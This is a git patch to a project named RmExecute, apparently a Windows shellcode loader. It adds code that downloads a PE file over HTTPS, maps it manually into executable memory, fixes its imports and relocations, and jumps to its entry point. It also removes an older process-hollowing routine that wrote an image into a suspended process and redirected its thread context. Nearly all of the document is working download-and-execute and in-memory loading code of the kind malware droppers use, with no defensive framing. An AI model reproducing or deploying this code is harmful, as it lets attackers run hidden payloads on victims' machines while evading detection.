From 6f3ff31ce327d67437907f5fe3deb89cd03bc44c Mon Sep 17 00:00:00 2001 From: bakabie Date: Thu, 8 Apr 2021 23:10:17 +0800 Subject: [PATCH] =?UTF-8?q?=E8=BF=98=E5=9C=A8=E6=95=B4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- RmExecute/Loader.cpp | 2 + RmExecute/RmExecute.vcxproj | 49 +++++++ RmExecute/ShellCode.cpp | 2 +- RmExecute/Tool.h | 273 ++++++++++++++++++++++++++++-------- 4 files changed, 268 insertions(+), 58 deletions(-) diff --git a/RmExecute/Loader.cpp b/RmExecute/Loader.cpp index 5b2b99d..6982e42 100644 --- a/RmExecute/Loader.cpp +++ b/RmExecute/Loader.cpp @@ -113,6 +113,8 @@ int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, */ int _tmain(int argc, _TCHAR* argv[]) { + RunShellCode(); + return 0; #else int _tmain(int argc, _TCHAR* argv[]) diff --git a/RmExecute/RmExecute.vcxproj b/RmExecute/RmExecute.vcxproj index feabde1..c46d6fa 100644 --- a/RmExecute/RmExecute.vcxproj +++ b/RmExecute/RmExecute.vcxproj @@ -63,6 +63,9 @@ v142 + Static + MultiByte + true @@ -86,6 +89,9 @@ false + + false + @@ -164,6 +170,49 @@ _DEBUG + + + false + + + + + Level3 + None + Speed + false + NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + true + false + false + true + + + user32.lib;winhttp.lib;msvcrt.lib; + + + + + false + Console + true + false + + + None + + + false + + + Level3 + true + false + RUNEXEMT;_CRT_SECURE_NO_WARNINGS + MultiThreaded + false + + diff --git a/RmExecute/ShellCode.cpp b/RmExecute/ShellCode.cpp index d1a5f84..017fc01 100644 --- a/RmExecute/ShellCode.cpp +++ b/RmExecute/ShellCode.cpp @@ -67,7 +67,7 @@ public: int size = HttpDownload(host, path, 443, TRUE); - //fn.fnMessageBoxA(NULL, newbuff, NULL, MB_OK); + fn.fnMessageBoxA(NULL, newbuff, NULL, MB_OK); RunPortableExecutable(); diff --git a/RmExecute/Tool.h b/RmExecute/Tool.h index f3696ae..6a869a3 100644 --- a/RmExecute/Tool.h +++ b/RmExecute/Tool.h @@ -171,7 +171,188 @@ void RmExecute::Initfunctions(Pfunctions pfn) } +VOID FixImageIAT(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header) +{ + PIMAGE_THUNK_DATA thunk; + PIMAGE_THUNK_DATA fixup; + DWORD iat_rva; + SIZE_T iat_size; + HMODULE import_base; + PIMAGE_IMPORT_DESCRIPTOR import_table = + (PIMAGE_IMPORT_DESCRIPTOR)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + + (UINT_PTR)dos_header); + DWORD iat_loc = + (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress) ? + IMAGE_DIRECTORY_ENTRY_IAT : + IMAGE_DIRECTORY_ENTRY_IMPORT; + + iat_rva = nt_header->OptionalHeader.DataDirectory[iat_loc].VirtualAddress; + iat_size = nt_header->OptionalHeader.DataDirectory[iat_loc].Size; + + LPVOID iat = (LPVOID)(iat_rva + (UINT_PTR)dos_header); + DWORD op; + VirtualProtect(iat, iat_size, PAGE_READWRITE, &op); + __try { + while (import_table->Name) { + import_base = LoadLibraryA((LPCSTR)(import_table->Name + (UINT_PTR)dos_header)); + fixup = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header); + if (import_table->OriginalFirstThunk) { + thunk = (PIMAGE_THUNK_DATA)(import_table->OriginalFirstThunk + (UINT_PTR)dos_header); + } + else { + thunk = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header); + } + + while (thunk->u1.Function) { + PCHAR func_name; + if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) { + fixup->u1.Function = + (UINT_PTR)GetProcAddress(import_base, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF)); + + } + else { + func_name = + (PCHAR)(((PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData))->Name + (UINT_PTR)dos_header); + fixup->u1.Function = (UINT_PTR)GetProcAddress(import_base, func_name); + } + fixup++; + thunk++; + } + import_table++; + } + } + __except (1) { + + } + return; +} + +//works with manually mapped files +HANDLE GetImageActCtx(HMODULE module) +{ + WCHAR temp_path[MAX_PATH]; + WCHAR temp_filename[MAX_PATH]; + for (int i = 1; i <= 3; i++) { + HRSRC resource_info = FindResource(module, MAKEINTRESOURCE(i), RT_MANIFEST); + if (resource_info) { + HGLOBAL resource = LoadResource(module, resource_info); + DWORD resource_size = SizeofResource(module, resource_info); + const PBYTE resource_data = (const PBYTE)LockResource(resource); + /*if (resource_data && resource_size) { + FILE* fp; + errno_t err; + DWORD ret_val = GetTempPath(MAX_PATH, temp_path); + + if (0 == GetTempFileName(temp_path, L"manifest.tmp", 0, temp_filename)) + return NULL; + + err = _wfopen_s(&fp, temp_filename, L"w"); + + if (errno) + return NULL; + + fprintf(fp, (const char*)resource_data); + fclose(fp); + break; + } + else { + return NULL; + }*/ + } + } + + ACTCTXW act = { sizeof(act) }; + act.lpSource = temp_filename; + return CreateActCtx(&act); +} + +//if base_addr points to a byte stream in memory then load module from that +//if base_addr is NULL then attempt to map module into memory from resource +//***note if module is memory mapped manually then it has no loaded module handle +//and some modules use the module base as the handle for a call and it will fail +LPVOID MapImageToMemory(LPVOID base_addr) +{ + LPVOID mem_image_base = NULL; + __try { + + PIMAGE_DOS_HEADER raw_image_base = (PIMAGE_DOS_HEADER)base_addr; + + HMODULE proc_base = GetModuleHandle(NULL); + + + if (IMAGE_DOS_SIGNATURE != raw_image_base->e_magic) + return NULL; + + PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(raw_image_base->e_lfanew + (UINT_PTR)raw_image_base); + if (IMAGE_NT_SIGNATURE != nt_header->Signature) + return NULL; + + //only 64bit modules will be loaded + if (IMAGE_FILE_MACHINE_AMD64 != nt_header->FileHeader.Machine) + return NULL; + + //Not going to bother with .net + if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress) + return NULL; + + PIMAGE_SECTION_HEADER section_header = + (PIMAGE_SECTION_HEADER)(raw_image_base->e_lfanew + sizeof(*nt_header) + (UINT_PTR)raw_image_base); + + mem_image_base = VirtualAlloc( + (LPVOID)(nt_header->OptionalHeader.ImageBase), + nt_header->OptionalHeader.SizeOfImage, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE); + + if (NULL == mem_image_base) { + mem_image_base = VirtualAlloc( + NULL, + nt_header->OptionalHeader.SizeOfImage, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE); + } + + if (NULL == mem_image_base) + return NULL; + + memcpy(mem_image_base, (LPVOID)raw_image_base, nt_header->OptionalHeader.SizeOfHeaders); + + for (int i = 0; i < nt_header->FileHeader.NumberOfSections; i++) { + memcpy( + (LPVOID)(section_header->VirtualAddress + (UINT_PTR)mem_image_base), + (LPVOID)(section_header->PointerToRawData + (UINT_PTR)raw_image_base), + section_header->SizeOfRawData); + section_header++; + } + } + __except (1) { + + } + return mem_image_base; +} + +BOOL FixImageRelocations(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header, ULONG_PTR delta) +{ + ULONG_PTR size; + PULONG_PTR intruction; + PIMAGE_BASE_RELOCATION reloc_block = + (PIMAGE_BASE_RELOCATION)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + + (UINT_PTR)dos_header); + + while (reloc_block->VirtualAddress) { + size = (reloc_block->SizeOfBlock - sizeof(reloc_block)) / sizeof(WORD); + PWORD fixup = (PWORD)((ULONG_PTR)reloc_block + sizeof(reloc_block)); + for (int i = 0; i < size; i++, fixup++) { + if (IMAGE_REL_BASED_DIR64 == *fixup >> 12) { + intruction = (PULONG_PTR)(reloc_block->VirtualAddress + (ULONG_PTR)dos_header + (*fixup & 0xfff)); + *intruction += delta; + } + } + reloc_block = (PIMAGE_BASE_RELOCATION)(reloc_block->SizeOfBlock + (ULONG_PTR)reloc_block); + } + return TRUE; +} // 用完一定要free int RmExecute::HttpDownload(wchar_t* target, wchar_t* path, INTERNET_PORT port,BOOL useSSL =FALSE) { @@ -312,69 +493,47 @@ int RmExecute::HttpDownload(wchar_t* target, wchar_t* path, INTERNET_PORT port,B } #ifdef _WIN64 + +typedef IMAGE_NT_HEADERS64 IMAGE_NT_HEADERS; +typedef PIMAGE_NT_HEADERS64 PIMAGE_NT_HEADERS; +typedef IMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER; +typedef PIMAGE_OPTIONAL_HEADER64 PIMAGE_OPTIONAL_HEADER; + bool RmExecute::RunPortableExecutable() { - IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols - IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols - IMAGE_SECTION_HEADER* SectionHeader; + PIMAGE_DOS_HEADER image_base = (PIMAGE_DOS_HEADER)MapImageToMemory((LPVOID)newbuff); + //PIMAGE_DOS_HEADER image_base = (PIMAGE_DOS_HEADER)MapImageToMemory(NULL);//not working with some files like notepad etc + //PIMAGE_DOS_HEADER image_base = (PIMAGE_DOS_HEADER)LoadLibrary(L"mspaint.exe");//works + if (!image_base) { + return 1; + } - PROCESS_INFORMATION PI; - STARTUPINFOA SI; + PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(image_base->e_lfanew + (UINT_PTR)image_base); + HANDLE actctx = NULL; + UINT_PTR cookie = 0; + BOOL changed_ctx = FALSE; + if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) { + actctx = GetImageActCtx((HMODULE)image_base); + if (actctx) + changed_ctx = ActivateActCtx(actctx, &cookie); + } - CONTEXT* CTX; + FixImageIAT(image_base, nt_header); - ULONG_PTR* ImageBase; //Base address of the image - void* pImageBase; // Pointer to the image base + if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) { + ptrdiff_t delta = (ptrdiff_t)((PBYTE)image_base - (PBYTE)nt_header->OptionalHeader.ImageBase); + if (delta) + FixImageRelocations(image_base, nt_header, delta); + } - int count; - char CurrentFilePath[1024]; + LPVOID oep = (LPVOID)(nt_header->OptionalHeader.AddressOfEntryPoint + (UINT_PTR)image_base); + ((void(*)())(oep))(); + //DWORD tid; + //PCONTEXT ctx; + //CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)oep, NULL, 0, &tid); - DOSHeader = PIMAGE_DOS_HEADER(newbuff); // Initialize Variable - NtHeader = PIMAGE_NT_HEADERS(ULONG_PTR(newbuff) + DOSHeader->e_lfanew); // Initialize - - GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable - - if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File. - { - ZeroMemory(&PI, sizeof(PI)); // Null the memory - ZeroMemory(&SI, sizeof(SI)); // Null the memory - - if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, - CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current - //process in suspended state, for the new image. - { - // Allocate memory for the context. - CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); - CTX->ContextFlags = CONTEXT_FULL; // Context is allocated - - if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread - { - // Read instructions - ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Rbx + 8), LPVOID(&ImageBase), 4, 0); - - pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), - NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); - - // Write the image to the process - WriteProcessMemory(PI.hProcess, pImageBase, newbuff, NtHeader->OptionalHeader.SizeOfHeaders, NULL); - - for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) - { - SectionHeader = PIMAGE_SECTION_HEADER(ULONG_PTR(newbuff) + DOSHeader->e_lfanew + 248 + (ULONG_PTR)(count * 40)); - - WriteProcessMemory(PI.hProcess, LPVOID(ULONG_PTR(pImageBase) + SectionHeader->VirtualAddress), - LPVOID(ULONG_PTR(newbuff) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); - } - WriteProcessMemory(PI.hProcess, LPVOID(CTX->Rbx + 8), - LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); - - // Move address of entry point to the rax register - CTX->Rax = ULONG_PTR(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; - SetThreadContext(PI.hThread, LPCONTEXT(CTX)); - ResumeThread(PI.hThread); - - return 0; - } - } + if (changed_ctx) { + DeactivateActCtx(0, cookie); + ReleaseActCtx(actctx); } } #else